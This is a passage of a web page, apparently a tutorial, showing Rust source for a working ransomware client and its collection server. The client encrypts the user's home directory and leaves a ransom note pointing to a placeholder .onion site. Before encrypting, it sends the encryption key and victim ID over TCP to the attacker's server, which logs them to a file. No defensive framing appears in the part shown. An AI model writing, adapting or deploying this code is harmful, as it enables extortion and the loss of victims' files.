    309         <span style="color:#66d9ef">let</span> content <span style="color:#f92672">=</span> encrypted_content.as_slice()[..encrypted_content.len() <span style="color:#f92672">-</span> <span style="color:#ae81ff">12</span>].as_ref();
    310         <span style="color:#66d9ef">let</span> nonce <span style="color:#f92672">=</span> Nonce::from_slice(nonce_raw);
    311         <span style="color:#66d9ef">let</span> plaintext <span style="color:#f92672">=</span> cipher
    312             .decrypt(nonce, content)
    313             .expect(<span style="color:#e6db74">&#34;invalid decryption key&#34;</span>);
    314         <span style="color:#66d9ef">let</span> new_path <span style="color:#f92672">=</span> orig_path.with_file_name(orig_path.file_stem().unwrap());
    315         fs::write(new_path, plaintext).unwrap();
    316         fs::remove_file(orig_path).unwrap();
    317     }
    318     println<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;done decrypting&#34;</span>);
    319 }
    320 
    321 <span style="color:#75715e">// Create ransom note on user&#39;s Desktop
    322 </span><span style="color:#75715e"></span><span style="color:#75715e">// We create the note at the beginning of the encryption process,
    323 </span><span style="color:#75715e"></span><span style="color:#75715e">// so if the process get killed midway through, the note will already be
    324 </span><span style="color:#75715e"></span><span style="color:#75715e">// available to the user.
    325 </span><span style="color:#75715e"></span><span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">create_note_file</span>(id: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span>) {
    326     <span style="color:#66d9ef">let</span> note_path <span style="color:#f92672">=</span> dirs::desktop_dir().unwrap().join(RANSOM_NOTE_FILENAME);
    327     <span style="color:#66d9ef">let</span> note <span style="color:#f92672">=</span> format<span style="color:#f92672">!</span>(
    328         <span style="color:#e6db74">r#&#34;Your files has been encrypted.
    329 </span><span style="color:#e6db74">Go to XXXXX.onion and provide your ID to get instructions.
    330 </span><span style="color:#e6db74">------------------------------------------------
    331 </span><span style="color:#e6db74">ID: {}
    332 </span><span style="color:#e6db74">&#34;#</span>,
    333         id
    334     );
    335     fs::write(note_path, note.as_bytes()).unwrap();
    336 }
    337 
    338 <span style="color:#75715e">// Send credentials (id &amp; key) to our server.
    339 </span><span style="color:#75715e"></span><span style="color:#75715e">// Encryption will not start until we have this information stored.
    340 </span><span style="color:#75715e"></span><span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">send_credentials</span>(id: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span>, key: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span>) {
    341     <span style="color:#66d9ef">loop</span> {
    342         <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">let</span> Ok(<span style="color:#66d9ef">mut</span> tcp_stream) <span style="color:#f92672">=</span> TcpStream::connect(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;{}:{}&#34;</span>, HOST, PORT)) {
    343             <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">let</span> Ok(_) <span style="color:#f92672">=</span> tcp_stream.write(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;{}{}&#34;</span>, key, id).as_bytes()) {
    344                 <span style="color:#66d9ef">return</span>;
    345             }
    346         }
    347         thread::sleep(time::Duration::from_secs(<span style="color:#ae81ff">1</span>));
    348     }
    349 }
    350 
    351 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">main</span>() {
    352     <span style="color:#66d9ef">let</span> args: Vec<span style="color:#f92672">&lt;</span>String<span style="color:#f92672">&gt;</span> <span style="color:#f92672">=</span> env::args().collect();
    353     <span style="color:#66d9ef">let</span> path <span style="color:#f92672">=</span> dirs::home_dir().unwrap();
    354     <span style="color:#66d9ef">if</span> args.len() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">&amp;</span><span style="color:#f92672">&amp;</span> args[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;encrypt&#34;</span> {
    355         <span style="color:#75715e">// Generate encryption key and id
    356 </span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> random_bytes: Vec<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">=</span> (<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">24</span>).map(<span style="color:#f92672">|</span>_<span style="color:#f92672">|</span> rand::random::<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">&gt;</span>()).collect();
    357         <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> base64::encode(random_bytes);
    358         <span style="color:#66d9ef">let</span> random_bytes: Vec<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">=</span> (<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">32</span>).map(<span style="color:#f92672">|</span>_<span style="color:#f92672">|</span> rand::random::<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">&gt;</span>()).collect();
    359         <span style="color:#66d9ef">let</span> id <span style="color:#f92672">=</span> base64::encode(random_bytes);
    360 
    361         <span style="color:#75715e">// Send credentials to our server
    362 </span><span style="color:#75715e"></span>        send_credentials(id.as_str(), key.as_str());
    363 
    364         <span style="color:#75715e">// Create ransom note
    365 </span><span style="color:#75715e"></span>        create_note_file(id.as_str());
    366 
    367         <span style="color:#75715e">// Encrypt files on disk
    368 </span><span style="color:#75715e"></span>        encrypt_files(path, key.as_str());
    369     } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> args.len() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">&amp;</span><span style="color:#f92672">&amp;</span> args[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;decrypt&#34;</span> {
    370         <span style="color:#66d9ef">let</span> decryption_key <span style="color:#f92672">=</span> args[<span style="color:#ae81ff">2</span>].as_str();
    371         decrypt_files(path, decryption_key);
    372     } <span style="color:#66d9ef">else</span> {
    373         println<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;no flags provided&#34;</span>);
    374     }
    375 }
    376 
    377 </pre></td></tr></table>
    378 </div>
    379 <!-- Code end -->
    380 
    381 <h4 class="mt-5 mb-3">server/main.rs</h4>
    382 
    383 <!-- Code begin -->
    384 <div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">
    385     <table style="border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
    386 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
    387 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
    388 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
    389 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
    390 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
    391 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
    392 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
    393 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
    394 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
    395 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
    396 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
    397 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
    398 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
    399 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
    400 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
    401 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
    402 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
    403 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
    404 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
    405 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
    406 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
    407 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
    408 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
    409 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
    410 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
    411 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
    412 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
    413 </span></pre></td>
    414         <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
    415 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="color:#66d9ef">use</span> std::fs::OpenOptions;
    416 <span style="color:#66d9ef">use</span> std::io::Write;
    417 <span style="color:#66d9ef">use</span> std::{io::Read, net::TcpListener};
    418 
    419 <span style="color:#66d9ef">static</span> HOST: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;127.0.0.1&#34;</span>;
    420 <span style="color:#66d9ef">static</span> PORT: <span style="color:#66d9ef">usize</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">8080</span>;
    421 
    422 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">main</span>() {
    423     <span style="color:#75715e">// We will store id &amp; key in a file
    424 </span><span style="color:#75715e"></span>    <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> file <span style="color:#f92672">=</span> OpenOptions::new()
    425         .write(<span style="color:#66d9ef">true</span>)
    426         .append(<span style="color:#66d9ef">true</span>)
    427         .create(<span style="color:#66d9ef">true</span>)
    428         .open(<span style="color:#e6db74">&#34;ids.txt&#34;</span>)
    429         .unwrap();
    430 
    431     <span style="color:#75715e">// Start listening for incomming connections
    432 </span><span style="color:#75715e"></span>    <span style="color:#66d9ef">let</span> listener <span style="color:#f92672">=</span> TcpListener::bind(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;{}:{}&#34;</span>, HOST, PORT)).unwrap();
    433     <span style="color:#66d9ef">for</span> stream <span style="color:#66d9ef">in</span> listener.incoming() {
    434         <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> line <span style="color:#f92672">=</span> String::with_capacity(<span style="color:#ae81ff">76</span>);
    435         stream.unwrap().read_to_string(<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">mut</span> line).unwrap();
    436         <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>line[<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">32</span>];
    437         <span style="color:#66d9ef">let</span> id <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>line[<span style="color:#ae81ff">32</span>..];
    438         file.write(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;{} {}\n&#34;</span>, id, key).as_bytes()).unwrap();
    439     }
    440 }
    441 
    442 </pre></td></tr></table>
    443 </div>
    444 <!-- Code end -->
    445 
    446 {{ end }}